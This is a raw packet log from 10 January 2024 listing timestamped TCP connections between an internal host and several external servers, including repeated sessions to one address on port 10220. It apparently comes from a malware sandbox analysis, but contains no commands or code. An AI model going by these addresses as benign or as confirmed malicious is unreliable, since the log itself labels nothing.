Jan 10, 2024 15:49:10.562027931 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562064886 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562130928 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562167883 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562211037 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562247992 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562350988 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562388897 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562436104 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562472105 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562504053 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562546015 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562666893 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562702894 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562761068 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562798977 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562849998 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562886953 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.562952995 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.562994003 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563091040 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563128948 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563198090 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563236952 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563307047 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563343048 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563467026 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563503027 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563560009 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563600063 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563641071 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563678026 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563697100 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563735008 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.563886881 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.563922882 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564021111 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564059019 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564116955 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564152956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564199924 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564239025 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564256907 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564302921 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564349890 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564392090 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564502001 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564538956 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564557076 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564614058 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.564896107 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.564934969 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565059900 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565108061 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565155983 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565196991 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565251112 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565290928 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565321922 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565357924 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565416098 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565460920 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565493107 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565534115 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565619946 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565668106 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565685987 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565745115 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565763950 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565794945 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565809965 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.565819979 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565850019 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.565907955 CET	49734	80	192.168.2.4	190.12.87.61
Jan 10, 2024 15:49:10.757257938 CET	80	49734	190.12.87.61	192.168.2.4
Jan 10, 2024 15:49:10.901576996 CET	49737	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:11.206497908 CET	80	49737	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:11.206604958 CET	49737	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:11.206932068 CET	49737	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:11.302561998 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:11.302630901 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:11.302716017 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:11.315891027 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:11.315912008 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:11.512161016 CET	80	49737	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:11.513766050 CET	49737	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:11.533307076 CET	49737	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:11.692568064 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:11.692738056 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:11.840651989 CET	80	49737	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:12.287645102 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.287669897 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.288362026 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.288418055 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.291421890 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.333901882 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484065056 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484097004 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484134912 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.484142065 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484167099 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484180927 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:12.484181881 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.484219074 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.484240055 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.548795938 CET	49738	443	192.168.2.4	149.154.167.99
Jan 10, 2024 15:49:12.548826933 CET	443	49738	149.154.167.99	192.168.2.4
Jan 10, 2024 15:49:13.596118927 CET	49739	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:13.647350073 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:13.647381067 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:13.647443056 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:13.726932049 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:13.726952076 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:13.903256893 CET	80	49739	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:13.903362036 CET	49739	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:13.908068895 CET	49739	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:13.935332060 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:13.935483932 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.121761084 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.121793985 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.122770071 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.122942924 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.125108004 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.139420986 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:14.139641047 CET	49741	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.169905901 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.219391108 CET	80	49739	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:14.219540119 CET	49739	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.219732046 CET	49739	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.328818083 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:14.328902960 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:14.329507113 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:14.422611952 CET	80	49741	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:14.422959089 CET	49741	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.423155069 CET	49741	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.501583099 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.501822948 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.501846075 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.501874924 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.501902103 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.501929045 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.502029896 CET	49740	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:14.502043962 CET	443	49740	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:14.518877983 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:14.523714066 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:14.523730040 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:14.523798943 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:14.523799896 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:14.526623964 CET	80	49739	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:14.706455946 CET	80	49741	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:14.706660986 CET	49741	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.706779957 CET	49741	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:14.989135981 CET	80	49741	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:15.311439037 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:15.501029968 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:15.501161098 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:15.501697063 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:15.732654095 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:15.929920912 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:15.930111885 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:15.933897972 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.123076916 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.123178959 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.124170065 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.313294888 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.313407898 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.315376997 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.317584991 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.318056107 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.509885073 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.800414085 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.800507069 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.801624060 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.802364111 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.989975929 CET	10220	49742	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.990035057 CET	49742	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.990569115 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:16.990663052 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:16.991023064 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.179794073 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.179925919 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.180147886 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.189310074 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.191663980 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.381638050 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.699987888 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.700047970 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.700118065 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.701976061 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.702872992 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.890872002 CET	10220	49744	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.891277075 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:17.891352892 CET	49744	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.891385078 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:17.900049925 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.088835955 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.088892937 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.089113951 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.089405060 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.154894114 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.320733070 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.343863964 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.674753904 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.674798012 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.674837112 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.674865007 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.674874067 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.674926043 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.674926043 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.804496050 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.805182934 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.993721962 CET	10220	49746	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.993809938 CET	49746	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.994065046 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:18.994250059 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:18.994718075 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:19.184387922 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.184745073 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.184806108 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:19.185934067 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:19.299112082 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:19.299257040 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:19.303292036 CET	49754	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.417869091 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489449024 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489473104 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489483118 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489499092 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489532948 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489552975 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489607096 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.489650011 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.596653938 CET	80	49754	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:19.596748114 CET	49754	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.597064018 CET	49754	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.799981117 CET	49755	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.889539957 CET	80	49754	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:19.889611959 CET	49754	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.892534971 CET	49754	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:19.907124996 CET	10220	49753	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:19.907180071 CET	49753	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.019972086 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.020016909 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.020126104 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.036588907 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.036606073 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.114021063 CET	80	49755	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:20.114233017 CET	49755	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:20.115894079 CET	49755	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:20.144609928 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.145442963 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.184386015 CET	80	49754	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:20.245676994 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.245778084 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.254089117 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.254121065 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.254996061 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.257412910 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.259803057 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.301903963 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.334681988 CET	10220	49749	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.336082935 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.336118937 CET	49749	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.336179018 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.336647034 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.429944038 CET	80	49755	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:20.430210114 CET	49755	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:20.431276083 CET	49755	80	192.168.2.4	175.120.254.9
Jan 10, 2024 15:49:20.525199890 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.525399923 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.525460005 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.525921106 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.528213978 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.716815948 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717293024 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717309952 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717344999 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717366934 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717370987 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717401028 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717417955 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717473984 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717513084 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717514038 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717577934 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717612982 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717628002 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717674971 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717693090 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717727900 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.717741013 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.717776060 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.727205992 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.727333069 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.736761093 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.737644911 CET	49756	443	192.168.2.4	104.21.65.24
Jan 10, 2024 15:49:20.737667084 CET	443	49756	104.21.65.24	192.168.2.4
Jan 10, 2024 15:49:20.744923115 CET	80	49755	175.120.254.9	192.168.2.4
Jan 10, 2024 15:49:20.906014919 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906076908 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906085968 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906117916 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906122923 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906161070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906162977 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906203032 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906203985 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906241894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906331062 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906372070 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906420946 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906449080 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906523943 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906588078 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906641960 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906693935 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906732082 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906747103 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906836033 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.906884909 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.906979084 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907037020 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907042027 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907087088 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907141924 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907187939 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907216072 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907301903 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907308102 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907355070 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907382011 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907423019 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907485008 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907541037 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:20.907588005 CET	10220	49757	49.12.114.15	192.168.2.4
Jan 10, 2024 15:49:20.907646894 CET	49757	10220	192.168.2.4	49.12.114.15
Jan 10, 2024 15:49:21.094763041 CET	10220	49757	49.12.114.15	192.168.2.4
